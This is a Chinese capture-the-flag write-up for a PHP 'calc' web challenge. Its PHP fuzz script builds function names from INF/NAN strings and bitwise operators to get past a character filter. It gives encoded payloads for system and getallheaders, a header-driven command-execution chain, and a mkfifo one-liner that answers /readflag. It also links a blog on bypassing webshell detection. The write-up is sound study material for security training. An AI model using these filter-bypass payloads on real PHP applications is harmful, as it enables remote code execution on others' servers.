WEB
calc
RoarCTF有一个题目的升级版。
fuzz脚本
<?php
$old_list = 'INFA0123456789';
$new_list = $old_list;
$result = array(
"I"=>"((1/0).(0)){0}",
"N"=>"((1/0).(0)){1}",
"F"=>"((1/0).(0)){2}",
"A"=>"((0/0).(0)){1}",
"0"=>"((0).(0)){0}",
"1"=>"((1).(0)){0}",
"2"=>"((2).(0)){0}",
"3"=>"((3).(0)){0}",
"4"=>"((4).(0)){0}",
"5"=>"((5).(0)){0}",
"6"=>"((6).(0)){0}",
"7"=>"((7).(0)){0}",
"8"=>"((8).(0)){0}",
"9"=>"((9).(0)){0}",
);
while(true){
for($i = 0; $i < strlen($old_list); $i++){
for($j = 0; $j < strlen($old_list); $j++){
$tmp = ($old_list[$i]) & ($old_list[$j]);
if(! isset($result[$tmp])){
$result[$tmp] = "(".$result[$old_list[$i]].")&(".$result[$old_list[$j]].")";
$new_list .= $tmp;
}
$tmp = $old_list[$i] | $old_list[$j];
if(! isset($result[$tmp])){
$result[$tmp] = "(".$result[$old_list[$i]].")|(".$result[$old_list[$j]].")";
$new_list .= $tmp;
}
}
}
if($new_list == $old_list){
break;
}
$old_list = $new_list;
}
var_dump($result);
var_dump($old_list);
$op = "systEM";
// ((((0/0).(0)){1})|(((2).(0)){0})).((((1/0).(0)){0})|(((0).(0)){0})).((((0/0).(0)){1})|(((2).(0)){0})).((((4).(0)){0})|((((1/0).(0)){0})&(((1/0).(0)){2}))).((((0/0).(0)){1})|((((1/0).(0)){1})&(((4).(0)){0}))).((((1/0).(0)){0})|((((1/0).(0)){1})&(((4).(0)){0})))
$op = "GEtALLHEADErs";
// ((((1/0).(0)){2})|(((0/0).(0)){1})).((((0/0).(0)){1})|((((1/0).(0)){1})&(((4).(0)){0}))).((((4).(0)){0})|((((1/0).(0)){0})&(((1/0).(0)){2}))).(((0/0).(0)){1}).((((1/0).(0)){1})&((((1/0).(0)){0})|(((4).(0)){0}))).((((1/0).(0)){1})&((((1/0).(0)){0})|(((4).(0)){0}))).((((1/0).(0)){0})&(((1/0).(0)){1})).((((0/0).(0)){1})|((((1/0).(0)){1})&(((4).(0)){0}))).(((0/0).(0)){1}).((((1/0).(0)){1})&((((0/0).(0)){1})|(((4).(0)){0}))).((((0/0).(0)){1})|((((1/0).(0)){1})&(((4).(0)){0}))).((((2).(0)){0})|((((1/0).(0)){0})&(((1/0).(0)){2}))).((((0/0).(0)){1})|(((2).(0)){0}))
// getallheaders()
// (((((1/0).(0)){2})|(((0/0).(0)){1})).((((0/0).(0)){1})|((((1/0).(0)){1})&(((4).(0)){0}))).((((4).(0)){0})|((((1/0).(0)){0})&(((1/0).(0)){2}))).(((0/0).(0)){1}).((((1/0).(0)){1})&((((1/0).(0)){0})|(((4).(0)){0}))).((((1/0).(0)){1})&((((1/0).(0)){0})|(((4).(0)){0}))).((((1/0).(0)){0})&(((1/0).(0)){1})).((((0/0).(0)){1})|((((1/0).(0)){1})&(((4).(0)){0}))).(((0/0).(0)){1}).((((1/0).(0)){1})&((((0/0).(0)){1})|(((4).(0)){0}))).((((0/0).(0)){1})|((((1/0).(0)){1})&(((4).(0)){0}))).((((2).(0)){0})|((((1/0).(0)){0})&(((1/0).(0)){2}))).((((0/0).(0)){1})|(((2).(0)){0})))()
$op = "next";
$final = "";
for($i = 0; $i < strlen($op); $i++){
$final .= "(".$result[$op[$i]].").";
}
echo "<br>";
echo $final;
利用链: system(getallheaders(){'u'})
运行/readflag,参考自balsn的wp
rm /tmp/pipe; mkfifo /tmp/pipe && cat /tmp/pipe | /readflag |(read l;read l;echo "$(($l))" > /tmp/pipe;cat)
以上是本题目的wp,还有一些比较骚操作。
来自赛后阅读Swoole题目的wp,
Nu1L师傅强的离谱。
引了一个Smi1e师傅的博客。
https://www.smi1e.top/php-webshell%e6%a3%80%e6%b5%8b%e4%b8%8e%e7%bb%95%e8%bf%87/